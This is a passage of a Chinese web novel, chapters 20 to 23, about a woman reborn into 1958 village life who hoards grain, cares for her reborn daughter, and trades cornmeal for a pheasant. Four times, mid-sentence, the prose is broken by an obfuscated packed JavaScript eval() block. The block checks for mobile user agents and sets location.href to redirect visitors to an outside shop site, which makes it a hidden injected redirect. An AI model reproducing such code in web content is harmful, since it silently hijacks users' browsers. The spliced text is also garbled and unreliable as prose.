总麻烦人是挺不好意思的，但架不住队里只有两辆自行车，公家的那辆不能随便借，她只能找田丰年借他家那辆：“……之前医院给开的治咳嗽的药吃完了得赶紧再开点去。” 这是苏南来想出来的借口。 圆圆还有点咳嗽是真，但药吃完了是假。 她这么说一方面不想让任何人知道自己去县城是为了买粮囤货的真实目的，另一方面也是不想被村里一些总爱造谣生事的人说三道四，避免被他们说些什么男人不在家还总往外跑这样的话。 事实证 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13276426|138996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明，选择这个理由是正确的。 合理的理由让田丰年没有半点怀疑，只嘱咐道：“要是能多开点就多开点，毕竟孩子老咳嗽不是小事，药得跟上吃才行。” “出院当天，我想说找大夫多开点药省得还得来回折腾去医院，可当时我还没来得及找大夫，就先被公安同志找上了门……”苏南来没继续往下说，田丰年一家子也都明白。 田丰年没再说别的，只把找出来的车钥匙递给苏南来，又拿出放在家里的介绍信纸提笔给她开了份介绍信：“虽说只是去趟县医院，但这年关腊口各处都查得严，这介绍信还是带着点放心。” 在宋圆圆住院那几天，苏南来没少被同病房的人“科普”这些她早就忘了的常识信息，自然知道介绍信的重要性。但其实去县里只要不是购买稀缺物资或是要住宿招待所的话，介绍信并不是刚需，尤其是像他们这种从大队去县里的更是查得没那么严，可就像田丰年说的，有备无患。 来之前苏南来还想着田丰年可能觉得去趟县里不用介绍信不给自己开，就特意带了比介绍信更能自证身份的军属证，却不想对方主动给自己开了介绍信。 苏南来心想，自己这又是军属证又是介绍信的，简直能在县里“横”着走了！ …… 到了县城，苏南来没有立刻去军军奶奶家，而是如她和田丰年说得那样，带着闺女去了县医院复查。 开了点能在家里常备的药后，才拎着自己从家带来的猪肉，出发前往军军奶奶之前和自己说过的家庭住址。 找人办事自然是得给点好处。 哪怕早在医院时，苏南来就看出军军奶奶想要帮她儿子把这些陈粮卖出去的急迫，和眼前看到自己真的过来找她买陈粮时表现出来的喜悦心情，她也只是不动声色地笑了笑，将手里也就半斤沉的肥肉（重音）递了过去： “我娘家兄弟头几天给我送了点猪肉过来，我寻思买粮这事还得您帮忙费心，就给您带了点过来当是辛苦费，您可别嫌少啊。” “哎呦，这么好的猪肉咋会嫌少呢！小苏你就是太客气！这负责卖粮食的人就是我儿子，有啥可费心的，这我这哪儿好意思拿你的东西……”军军奶奶嘴上说着推辞的话，却半点没耽误她伸手把猪肉接过去。 这年头，谁看见肉眼不冒光！ 不冲这半斤猪肉，就为苏南来言而有信真的过来家里找自己买粮这举动，军军奶奶就表现出了十分的激动，二话没说，直接带着苏南来就奔粮站去了…… 20. 第 20 章 第20章 宋圆圆…… 不，是宋抗美。 她已经好久好久没梦见过妈妈了。却不想，在终于结束了自己的可悲人生后，再一睁眼看到的，会是趴在床边柔声喊着自己“圆圆”的妈妈。 太久没见了…… 宋抗美用发烫的双眼盯着在自己记忆中永远年轻却又总是愁眉不展的妈妈，听她像去世前那样问自己饿不饿的声音，和拿着碗要扶自己起来喂饭的动作，以及始终温柔地看向她的目光，宋抗美突然觉得自己似乎也没那么可悲。 起码，在人生的尽头，还有妈妈在等她。 童年时的悔恨在自己生命结束的一刻有了弥补的机会，那不是一颗正中眉心的子弹，是让自己终于能坦然做回宋圆圆，再一次拥抱妈妈，回归她怀抱的幸运，也是她终于有机会说出真心话的机会—— 妈妈，我不饿，你吃。 比起难捱的饥饿，我更想也只想和你在一起。 宋抗美：“我……” 等等！ 她的嗓子怎么了？！ 为什么完整的一段话说出来会变成“妈……饿……吃……”？！ 宋抗美：“？？？” 看着听了自己说完这句明显不完整的话后一脸开心地往自己嘴里喂饭的妈妈，宋抗美就忍不住控诉老天爷对她的不公——她活着的时候掌控不了自己的人生，如今人都死了，却连在梦里的自由都无法得到实现！ 控诉的同时，宋抗美却又止不住对时隔多年终于重温到的母爱的贪恋。 好想你啊…… 宋抗美无声地说。 在接下来几天的“梦”里，宋抗美慢慢记起了梦境所处的时间，知道这是还没闹饥荒时自己生病的记忆片段。她从未忘记过和妈妈在一起的任何点滴，只回忆片刻就意识到了这是在什么时候，期间又都发生了什么……尽管孟经理发生的事和她记忆里有些偏差，但宋抗美知道，这是自己的潜意识在作怪。 这时候应该是1958年。 在现实的记忆里，这一年的年底她生病住院，妈妈回村拿陪床物品，却没能在当天赶回医院，一直到第二天才满是狼狈地回来。那时的她懵懂无知又不懂事，还因为妈妈没能及时回来而生她的气，和她闹了好一阵子的脾气。一直到后来，宋抗美才知道，那时候迟到的妈妈是被过来要钱的赵金花打了并晕倒在了家院子里大半天…… 她无时无刻都在悔恨童年时的自己不够懂事不够贴心更不够珍惜妈妈的行为，而这场梦或许就是对她人生遗憾的弥补——童年的她希望妈妈能在当天赶回来陪自己，长大后的她则只想妈妈不再受到伤害。 童年的她的愿望实现了，妈妈就坐在这里哪里也没有去。而长大后的她想告诉妈妈不要回去村里，也别再因为自己叫老宋家的人威胁，更不要省吃俭用把口粮全给自己而无数次饿晕直到死亡…… 可命运的确不会偏爱她，以至于哪怕在梦里也不愿意叫她改变命运，甚至还要她再一次亲眼目睹自己人生悲剧的开端——她什么都说不出来，甚至开始受弱小的生病的身体的影响而时常陷入到睡眠中。 她明白，所以只能在难得醒来的时间里，怀揣着痛苦地放纵着自己的贪婪去记住眼前远比记忆中要开朗的妈妈的样子。 宋抗美像是真的回到了小时候那样整个人蜷缩在她背后，放松又眷恋地贴近她，感受着她用脚步颠簸出来的那条回家的路。 她在妈妈的背上深深地睡去，渴望能在梦里的梦里继续梦到妈妈。 她仍旧痛恨命运。 但她也感谢命运愿意在她真正死去前给了她重新做梦并梦见妈妈的机会…… 只是，谁能出来解释一下，为啥她只是眼睛一闭一睁，就发生了那么多记忆里没有发生过的事—— 老宋家是咋被县公安抓走的？她妈咋就带自己过来县里买粮了？最关键的是，她那弱不禁风柔弱无力的妈妈，怎么就一手扛起自行车了？！ 那可是装了几百斤粮食的自行车啊！！！ 宋抗美也是在这个时候，意识到自己或许是太过沉浸于“梦境”而忽视了太多太多她本该早就察觉到不对的细节…… 她，真的是在梦里吗。 …… 所谓灯下黑，说得可能就是苏南来如此谨慎小心行为的同时，却偏偏忽略了被她背在背上的闺女正瞪着俩大眼珠子直勾勾盯着她，她却还不自知的行为。 此时，毫不知情的苏南来只一心扛着自行车奔家走呢，全然不知道自己差点就被闺女误会成借尸还魂的外来者，满心想的都是自己得快点把粮食放好后去还自行车，以及还车+送礼时的说辞。 回到家，苏南来在将装满了两大箩筐的粮食暂时放进相对还算隐蔽的空缸里后，不满意地看着只要一打开门就能一览无遗的灶房，她觉得自己得把“整理菜窖”这件事放进接下来的日程安排里。 在把买回来的东西归置好后，苏南来就又沿着来时的小路回到了进村必经的大路上，大大方方地骑车回了大队。 苏南来回来的时间也算赶巧了，正赶上队里的大锅饭开饭时间前后，连平常最爱在村口唠闲嗑的老头老太太们都怕去晚了只能吃菜汤地赶去排队了。 从进村到回家的这一路上，苏南来就碰见几个搁家门口放炮仗的小孩儿，倒是白瞎了她特意绕道折腾的这一趟工夫。 “……” 苏南来表示，小孩子也是会学舌的好吗！ 但事实证明，就算小孩子不会学舌，苏南来的谨慎表现也是正确的，因为她才刚说这一路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13300180|138996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上都没遇到人，下一秒就在拐弯上个坡儿就能到家时，碰上了个不知道是从哪儿冒出来的半大小姑娘。 对方看到自己和被她怀里的的圆圆后，原本防备的目光变成了些许的诧异，但她也没说什么，只讷讷喊了声“婶娘”后，就背着身上沉甸甸的笼筐离开了。 苏南来：“？？？” 不是，这人谁啊？ …… 尽管只是一照面，连这人是谁都没想起来，但对方的反应也还是引起了苏南来的怀疑。 末世练出来的眼力是和平年代下的人所比不了的。 只那一眼，苏南来就记住了对方的长相和衣着，尤其是在见到自己后明显是认出自己是谁的奇异目光。这才是叫苏南来疑惑所在。 苏南来觉得自己得先确定对方的身份是否无害。 不过在那之前，还是得先把肚子填饱，再没有什么能比吃饭更重要的了。 嘿嘿，今天食堂的大锅饭可是好饭！ 在去找田丰年借自行车临走时，邱丽娟可是特意强调了让她得赶在中午前回来——食堂为了庆祝阳历年，特意准备了猪肉酸菜炖粉条和猪油渣炒饭！ 光听这菜名，就能香得叫人流口水！ 苏南来向来吃饭积极，在回家把东西放好后都顾不上去田丰年家还自行车，就拎着饭盆，一路小跑着去食堂打饭了。 在去食堂把饭打回来后，苏南来也没计较个人定量根本不够吃的老问题，只快速吃好又哄着从回来后就有点蔫头耷脑的闺女吃了几口饭，把药喂了下去，看着她一点点磕脑袋直到睡着了，苏南来又用枕头把床围好确定闺女不会骨碌摔下去后，才放心出发去田丰年家还车了。 到了地方后，田丰年在里屋忙活年底要交去公社的报告，邱丽娟则正在炕上缝东西呢，见苏南来过来，忙热情地拉着她上炕。 苏南来把背来的竹筐放在炕边，见田小溪没露面，忍不住问道：“婶儿，小溪呢？是不是歇晌午呢……哎呀我本来说想晚点过来，可这车不还回来总觉得心里不踏实，吃过饭就赶紧过来了……” 话还没说完，邱丽娟就摆手道：“我们家从来都没有睡中午觉的习惯，至于小溪那丫头不在家，上午就让她对象接去家里吃饭了，估计得晚上才回来了。” 在简单说了几句关于田小溪和她对象以及结婚的内容后，苏南来就把话题引到了自己从县里回来路上碰到一半大小姑娘的事，并简单描述了一下对方的长相特点： “……这闺女看着就跟宋宝珠岁数差不多，黑瘦黑瘦的，脑门儿还有个疤瘌，我也不知道是谁家孩子，反正看见我后喊了声婶娘，完事撒腿就跑了。” “脑门儿有个疤瘌……” 根据苏南来的描述，邱丽娟想了一会才想起对方是谁…… 21. 第 21 章 第21章 邱丽娟：“你刚碰上的，应该是宋福财家的大孙女。那丫头叫春草，她脑门儿就有道疤瘌，还是去年在河边洗衣裳时摔倒在石头上时留下来的印子，虽说有点破相了，但也算这丫头命大，没叫水给淹着。” 她口中说的宋福财和刚被抓进去的宋福贵是亲哥俩，两家当年分家时都觉得爹娘不公平，闹了挺多的不愉快，之后就没咋走动过，所以苏南来不认识宋春草也正常。 邱丽娟对宋春草这丫头印象还不错，是个挺机灵也挺勤快的孩子，但她知道苏南来向来不喜欢和老宋家的人沾边儿的人和事，所以在简单说了几句对方的情况后就立刻打住没再提别的，转而问起了她去县城的这一趟经历： “南来，这县医院大夫说没说圆圆这回来好几天还蔫头耷脑是为啥啊？今天你过来借车时，我咋瞅着你家圆圆不光是瘦了，看着也没从前那么欢实了呢。” 提起这个，苏南来也是止不住担忧道：“今天去医院的时候我也跟大夫说了这事，但大夫说是圆圆身体没啥大问题，除了有点咳嗽是气候问题以外，就是有点营养不良。检查一通，就给开了点治咳嗽的药，还说叫我回去给孩子好好补补身体，吃点营养东西。” 见苏南来发愁，邱丽娟赶忙安慰道：“圆圆这营养不良多少跟生病有关系。不过既然大夫说了，那咱这该补也得补。正好我这还攒着十多个鸡蛋呢，你拿回去给孩子煮点鸡蛋或者蒸点蛋羹吃。” 苏南来没有推辞，只是在邱丽娟起身去拿鸡蛋的时候，从自己背过来的竹筐里拿出了在县城买的点心和那对暖水瓶。 田丰年和邱丽娟咋说也是队里的领导干部，苏南来有心送礼是为了回馈他们一家对自己的帮助，却不想被有心人看在眼里造谣说是走后门送礼，索性就背了个笼筐，把要送的东西都装在里头，总不能有人过来扒拉她里头都装了啥吧。 刚把点心拿出来放好在炕桌上，还没拿暖水瓶呢，邱丽娟就拎着一篮子鸡蛋过来了。见她从筐里拿出几样点心，连忙说道：“南来，你这是干啥，赶紧拿回去！婶子家不缺点心吃，你拿回去留着给孩子吃。” 苏南来本就不善于这种你推我让的事情，又在末世待了许多年，早就习惯了“有话直说，不服就干”的行事风格，面对邱丽娟的推搡，她实在招架不来，索性来了个“逃跑无耻但却有用”技能，连筐都不要了，拎起邱丽娟拿过来的那篮子鸡蛋就往外走，边走边说道： “婶儿，鸡蛋我就不给钱了，就当是我用点心换的！还有，筐里那对印红双喜字的暖水瓶，是我送给小溪的新婚礼物，等她回来，您想着拿给她——” 说完，苏南来就脚底抹油，溜了。 邱丽娟：“……” 看着苏南来疾步快走的身影，邱丽娟啼笑皆非地看着桌上的点心和筐里的暖水瓶，忍不住跟听见动静从屋里出来的丈夫说道：“南来这孩子要拿点心换咱家这点鸡蛋，还觉得自己占便宜了……” 说着，她又从筐里拿出暖水瓶，轻轻摸了摸上面印着的红双喜字，感慨道：“我还说去趟县医院来回用不了那么长时间，还担心她来着，原来是跑去县商店给咱小溪买礼物去了……你看，这暖水瓶多好看，等小溪回来看见肯定会喜欢的。” 田丰年也不禁感慨：“南来和望北也算是咱俩看着长大的，都是懂得感恩的好孩子，也就只有老宋家看不见他们的好。但现在好了，老宋家也被关起来了，南来经过这回事也知道立起来不像从前那么好脾气了，都会越来越好的！” 说着，田丰年打开包枣泥糕捻了一口，边吃边说道：“还是县商店的枣泥糕好吃，不甜！南来肯定知道咱家爱吃这个才特意买的，所以要我说啊，你平时也别总和她太客气，这样反倒显得见外。” “哎呀知道了知道了！”邱丽娟敷衍地摆了摆手表示自己知道了，却又在下一秒自言自语道，“李四家养的鸡隔三差五就下蛋，他家肯定攒了不少鸡蛋，还有王二家……” 田丰年：“……” 算了，我还是吃点心吧。 …… 拎着一篮子鸡蛋回家后，苏南来就开始忙活起晚上饭了。 尽管现在才刚下午三点半，但不管是蒸鸡蛋羹，还是剁馅儿、揉面、包饺子，对苏南来这个向来不擅长做饭且多年没有做饭的人而言，都可谓是相当不容易的，必须得提前准备！ 在所有的准备工作中，揉面是最容易的。 苏南来深谙“水多了就加面，面多了就加水”的至理名言，又有足够将面粉和水揉成一团的力气，没用多会儿，面团就被揉得十分光滑。 按照记忆里的经验，苏南来将揉好的面团放在盆里用布盖好后就放在一旁饧面。包饺子的面不用饧太长时间，隔一会儿就拿出来再揉揉就行。 饧面的工夫，苏南来开始往碗里打鸡蛋。 包饺子费工夫，她打算先把鸡蛋羹蒸出来给闺女垫补两口，回头还能用蒸鸡蛋时烧开的水把新买回来的暖水瓶里外都烫一烫。 苏南来的做饭风格就是很随性。 在把四个鸡蛋简单搅散后，苏南来从水缸里舀了半瓢水放进去继续搅合，随后又随手捻了点盐放进去，伴随着“哒哒哒”的搅鸡蛋声音，原本橙黄色的鸡蛋随着水和盐的加入，颜色也慢慢变成了更为柔和的黄色。 这样应该就差不多了？嗯，没问题。 确定盐粒搅拌匀了，苏南来拿起一旁的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13313895|138996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 箅子架好，把碗放上去，又把锅盖儿盖好后，就开始往灶眼里添棒骨头，准备开蒸了。 开锅后再蒸十五分钟就肯定能熟。 看着眼前开始顺着锅盖边缘冒出来的热汽，苏南来看了一眼墙上的表，记下了开锅的时间后，继续挥着手里的菜刀轻松地剁起了白菜。 她得收回刚刚的话—— 比起揉面，剁馅儿才是最简单的工作。 剁馅儿容易和（huo）馅儿难。 苏南来利落地把白菜和昨天剩的熟猪肉剁好混在一起后，多少有些发愁也有些犹豫地开始准备和馅儿：“家没有葱了，就多搁点姜吧？还有这盐得少来点，熟猪肉本身味道就挺重的，不能忒咸，对嗓子不好……放点青酱调调色？是不是还得再来点香油……” 犹犹豫豫地下好调料，苏南来瞅着颜色还有点浅，就又往里倒了点青酱，还没想好要不要再放点香油呢，鸡蛋羹也蒸得差不多够时间该准备接锅了。 “还挺嫩……” 苏南来不知道叫鸡蛋羹嫩生生得像块豆腐的原因是自己误打误撞放的那半瓢子水的功劳，只觉得这鸡蛋羹蒸出来还挺好看，就是味儿淡了点，但这咸淡正适合还有点咳嗽的闺女吃。 “圆圆，醒醒盹儿了，鸡蛋羹熟了，妈这就盛出来给你拿过来——”说着，苏南来就用闺女专用的小勺从蒸鸡蛋羹的大碗里舀了一小半鸡蛋羹放进她平常用的小碗里。 进屋后，苏南来把碗放在炕头上，给睡眼惺忪的闺女擦了擦脸和小手后，又给她把袖子卷好，喂了几口水之后才把炕桌摆上。 一通行云流水的动作结束，原本还昏沉在梦里的宋抗美彻底清醒。 看着被妈妈塞进手里的小勺子和摆在面前的这个曾是自己最喜欢的小碗，以及碗里看上去嫩生生的鸡蛋羹，宋抗美尝试性地吃了一口—— 是妈妈的味道。 所以…… 她就是妈妈。 宋抗美……不，是宋圆圆，像是小时候无数次发生又在长大后无数次回忆的那样，迎着苏南来欣慰的目光，狠狠地舀起一大勺的鸡蛋羹，啊呜一口吃进了嘴里…… …… 在这天过后，宋圆圆的精神头就越发好了起来，没再像之前那样蔫头耷脑不说，人也跟着清醒了许多不总爱瞌睡了，这让苏南来坚信闺女能好起来是靠吃鸡蛋补营养给补好的，打算找人多换点鸡蛋，好叫闺女还有自己都能天天吃上鸡蛋。 时间匆匆闪过。 家里的日历本就这样在苏南来四处赶集上店找人换鸡蛋、囤粮和备年货的忙碌中，被一张一张地被翻到了新的一天。 一转眼，日子就到了腊月二十三，也就是小年这天…… 22. 第 22 章 第22章 腊月二十三，小年。 家家户户都备齐了过年的年货，队里的大锅饭也暂停下来为过年让步，转而升起来的，是各家烟囱里冒出来的袅袅炊烟。 苏南来家也不例外。 灶台上，冒着滚滚水蒸气的锅里正蒸着用今年新下来的黄米碾成的黄米面子做的年糕。 小年吃这个，寓意着年年登高，一年比一年更好。 平常人家为节省，做年糕也就是在底下铺层芸豆或是红豆，之后就是一层一层往上面撒黄米面。苏南来爱吃甜，也不怕花费，便提前一天把红豆熬成了豆馅，又提前泡了红枣，混着黄米面是一层铺一层地摞得老高。 这不，上锅蒸了半个来钟头，混合了豆馅里麦芽糖和红枣本身甜味的香气就这样伴随着黄米面独有的麦香一起飘满了整间屋。 苏南来猛吸了几口这甜滋滋的香味后，看见正模仿自己同样使劲吸鼻子的闺女，笑道：“我们圆圆是不是也想快点吃到年糕啊？” 宋圆圆乖乖点头。 苏南来又问：“那等年糕熟了，你是想蘸白糖吃，还是蘸红糖吃？” “妈蘸啥我就蘸啥。”宋圆圆如今彻底好了，不像之前总病恹恹的，奶声奶气说话的样子倒像是一日就长成了的小大人，一本正经的样子，叫苏南来爱得不得了，总爱凑过去亲亲她那最近总算长出点肉的小脸蛋儿。 宋圆圆被亲得有些脸红，却没有半点躲闪，心头雀跃得像是采到蜜的蜂虫，为妈妈对自己的亲昵而由衷感到喜悦。 苏南来也挺高兴。 自己和丈夫都是没爹疼没娘爱更没体会过太多亲情的倒霉蛋儿，很多时候都不知道该怎么和闺女相处，只觉得能叫孩子不愁吃穿，别像他们那时候挨饿受冻就挺好。 一直到后来在末世遇到过一对母女，看着人家娘俩的相处后才明白，这娘俩想要感情好就不能跟个锯嘴葫芦，必须得多亲近才行。 这不，好不容易重生回来了，苏南来是恨不得天天捧着闺女亲亲抱抱举高高，怎么疼怎么爱也都不够。 苏南来亲了闺女两口后，又从炕头的橱柜里拿出了新买的饼干盒子，给闺女手里塞了块饼干，自己也拿上一块：“这年糕再蒸十来分钟就能接锅了，但这玩意儿黏拽拽的不好消化，咱们先吃点饼干垫补垫补，妈再去沏两杯麦乳精，咱娘俩一人一杯！” 说着，苏南来就兴冲冲地去冲麦乳精了。 宋圆圆坐在炕上看着她，不禁想起了上辈子……那时候的妈妈总是省吃俭用怕被别人说三道四的同时，却又从不会吝啬给她买好吃的，自己却从不肯吃一口。 那时候，她不懂，只以为妈妈是真的不喜欢吃…… 再后来，她懂了，妈妈却再也回不来了…… 宋圆圆不禁湿润了眼角。 她低头眨了眨眼，捏起手里的饼干乖乖地吃了两口，又忍不住抬头看向苏南来，心想，老天爷似乎也没有那么不公平……起码，不管是上辈子还是这辈子，妈妈永远都是她的妈妈。 在不断蔓延的思绪中，麦乳精的香味也渐渐飘散出来。 略有些破旧的房间里，充斥着满满的温暖气息，宋圆圆无比珍惜此时此刻所拥有的美好，恨不得叫时光就此驻足。 然后，就在下一秒，突如其来的敲门声划破了眼前温馨的画面…… …… 敲门声像雨点般落在院门上，略有节奏的声音没有半点情绪的传递，却在响起的一刻，叫苏南来和宋圆圆不约而同地紧张了起来。 苏南来对敲门声很敏感—— 在规则混乱的末世，总会有这样的人，像是没受到末世冲击那样，仍保有末世前的规则底线，斯文礼貌地敲响你的房门，带着歉意地表明自己来意，满是笑意看着你放下戒备，然后……然后，就是再一扇门，再几声沾染着血色的敲门声…… 苏南来在刚来到末世不久时差点在这上面栽过跟头，一直到现在也还是很难克服“一朝被蛇咬十年怕井绳”的本能反应，总是会在听到敲门声后下意识警惕戒备。 但这里不是末世。 太过紧张的反应在当下这个还在四处抓敌特的大环境来看反而容易造成误会。苏南来觉得自己必须得改掉……或者说，至少别被人看出自己在末世习惯并保留至今的身体反应。 想到这，苏南来深呼了一口气，低头用手捋了捋衣服，边往外走边抬高声音无比自然说道：“谁啊？院门没锁实，这有啥事直接进来就行了，哪儿还用得着敲门……” “咯吱”一声，门打开。 见到站在院门口的来客，苏南来愣了片刻，满是疑惑又犹豫道：“你……你不是……” “婶娘。” 来的不是别人，正是不久前被苏南来碰见后和邱丽娟提到过的宋春草。 按血缘关系算，宋春草这小姑娘和她家圆圆算是堂姐妹，可早在宋望北没出生也就是还没发生后面种种事情以前，宋春草她爷宋福财就已经和宋福贵这个亲兄弟分家并老死不相往来了。 苏南来对老宋家的态度尚且如此，和宋福财一家更是从没接触过，怎么也想不到向来和自家是八竿子打不着也差着辈分的宋春草会过来她家。 可谓是丈二和尚摸不着头脑，完全猜不出对方的来意。 苏南来满是疑惑不解地上下打量了一番对方，在看到宋春草身上的破夹袄和被冻得通红的手时，她欲言又止，到底还是站在原地没有开口让对方进屋说话。 倒不是怕对方有啥坏心眼子，主要是……宋春草这头脸看着倒还挺干净利索，可身上的袄子摆明是被淘汰了不知道多少手的旧衣服，苏南来怕这袄子上会有虱子再给她闺女招一身虱子，便下意识跟宋春草都保持着距离，更不敢叫她进屋。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13328439|138996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>想起闺女，苏南来忍不住回头看了一眼，就看见宋圆圆正乖乖趴在窗户边，还朝自己高兴地招了招手…… 见此，苏南来下意识地跟着回了个十分幼稚的摆手动作后，再回头，就看见宋春草一脸羡慕又落寞地目睹了她们娘俩的全程互动……咳！ 苏南来有些不好意思，但又不太擅长和别人家的孩子沟通，索性装作没发生一样，转而开口问：“春草，你今天过来婶娘家是有啥事吗？正好婶娘家里正蒸年糕呢，我给你拿两块带回家吃。” 宋春草除了在苏南来刚开门出来时喊了声“婶娘”外就一直保持沉默。 她有些不适应，也觉得不太自在，尤其是在看到苏南来和宋圆圆隔窗互动的有爱动作后，饶是早就认清了自家爹娘的宋春草，看到这幕时，也还是止不住心头有些发涩。 真让人羡慕。 宋春草心里才刚感叹了一声，都还没顾得细究这份羡慕中是否也存在着些许的嫉妒时，苏南来宛如春雨般温柔的问话，就这样落在了她心中那块早已干涸的土地上，让从来都不被家里重视的她，有了一种被亲近、被关心的错觉？ 这当然—— 是错觉咯。 看着宋春草略有些受宠若惊的样子，隔着一扇窗后的宋圆圆虽然听不太清她们在说什么，却忍不住心想：像宋春草这样在极度重男轻女家庭的结构中处于最底层的人，妈妈她可能就是随随便便说几句不走心但好听的话，宋春草就会觉得受到了重视得到了温暖，然后就会对人掏心掏肺到被人骗到裤衩子都不剩—— 她上辈子就是这样被那个来村里插队的男知青骗得神魂颠倒到任劳任怨地给人当牛做马的……简直蠢到家了！ 望着院子里，还在说着什么的宋春草，宋圆圆就免不了顺着她的故事想到在那段经历中担任了必不可少的推手角色的宋宝珍。 想起宋宝珍现在还被关在县公安的看守所里迟迟没有被定罪……或者说，只凭她拿走的那一个银手镯可能根本也不会定罪的现状，还有同样没被定罪判刑的老宋一家，宋圆圆脸上原本还因苏南来的回应而扬着的笑脸一下子就垮了下去…… 就在宋圆圆思索着自己如今这小胳膊小腿儿的，该怎么做才能将所有上辈子的仇人都在这辈子给他们彻底摁死的时候，苏南来和宋春草的对话还在继续…… 面对苏南来的寒暄，宋春草是既不好意思接茬应下又怕人家只是随便客套几句，便连连摆手说了几句“不”，后又压下了心里不自觉升起的羡慕情绪，强打着精神回答了苏南来最开始问她过来这趟的目的： “婶娘，我听说您之前一直在赶集买鸡蛋来补营养……” 苏南来听这话，以为宋春草是来卖鸡蛋的，正想问对方手里攒了多少鸡蛋的时候，就见她将自己背着的竹筐放在地上，扒拉开筐里被放在最上层的烧火树枝子，露出里面用麻绳捆着的鸡…… 23. 第 23 章 第23章 在当前集体所有的制度下，队里的一草一木就都是集体的，除了冬天各家各户被允许上山砍柴砍多少都归自家用外，其他的，就是山脚下自生自长出来的野菜也都得集体去挖集体吃。 谁敢吃独食，谁就是小偷。 宋春草当然不敢当小偷，可架不住她筐里的这只野鸡，当时就被冻死在她砍柴处的雪地里。 想起家里怀着孩子还得干活的娘和饿得面黄肌瘦的妹妹，宋春草哪怕再胆小，也还是把野鸡藏在了筐里面。 回来路上，宋春草一路忐忑一路思考，觉得自己与其费力不讨好把鸡带回家还落不上几口吃，不如把这只野鸡卖了，最好是能直接换成粮食……钱也行，但光有钱没有票也是白瞎，还是换成粮食最靠谱。 “婶娘，这只野鸡是我今天上山拾柴火时捡到的，大概有个五斤多沉，最适合在这大冬天里炖着吃补身体了……额，这个比鸡蛋有营养！”[注1] 说这话时，宋春草很是磕磕巴巴，显然是头一回干这种事，既想把这只野鸡卖给苏南来，又怕直接说想要卖钱显得市侩。 当然，还有一部分原因是她在说话时一直得分身警惕周围环境，生怕不知道从哪儿窜出个人来说她这是挖社会主义墙角，到时候也像赵金花那一家子人似的去蹲笆篱子。 苏南来完全不介意宋春草生疏的卖货技巧，也没在意她过度紧绷的反应状态，满眼都是筐里的那只野鸡。 她脑海中已经浮现出无数种鸡的烹饪方法，根本听不进去对方的话，直接表示：“这只鸡看着还行，你打算卖多少钱？不贵的话，我就买了！” 宋春草愣了愣，犹豫道：“……我之前赶过几次集，像这个分量的鸡一般能卖两、三块钱。但这只野鸡是我捡来的，要不是我连带俩妹妹在家天天都吃不饱饭，我也不敢拿这只鸡过来问您要不要，所以……” 宋春草也说不好自己为啥会过来找苏南来卖鸡，但潜意识里就觉得她不是那种见不得别人得了便宜就眼红去会举报的人，更不会因自己岁数小就糊弄人。 “您要是真想买这只鸡，只要给我十斤棒子面就行！” 宋春草鼓足勇气给出了一个自认为很高的价格，又怕苏南来介意这是捡来的不乐意要，紧跟着又说：“婶娘您放心，我特意检查过这只野鸡，没有被野兽咬过的痕迹，纯是给冻死的，绝对能放心吃！！” 苏南来有些犹豫。 不是嫌贵，是觉得自己有点占便宜的嫌疑。 这只五斤多沉的鸡在市场卖至少能卖两块五，而十斤棒子面的价格也就一块多钱。这价格算起来可是差了足足一半，实在是让苏南来有些不好意思应下来。 “成，我现在就进屋给你装棒子面去。” 苏南来没有刻意表示这个价格太便宜，免得再推来搡去的太过虚伪，索性就在给宋抗美装棒子面时多称了几斤，又将自己早上煮好后还没来得及腌进缸里的鸡蛋拿了八个装好，一并放在了棒子面袋里。 这些东西加起来也就差不多够一只鸡的钱了。 两个人一手交鸡，一手交棒子面，都十分满意地完成了这次交易。 在宋春草将藏好棒子面的竹筐背起来准备离开时，苏南来好像变戏法一样，又从怀里掏出包用吃光点心后剩下的点心纸包好的年糕塞给了宋春草。 “刚说好等年糕熟了得给你拿两块回家吃，也不是啥稀罕东西，拿回家和你娘还有俩妹子一起甜甜嘴吧！”看着宋春草不知所措的样子，苏南来根本没给她推辞的机会，把东西往她手里一塞，就拎着鸡，一溜儿烟就进了院子。 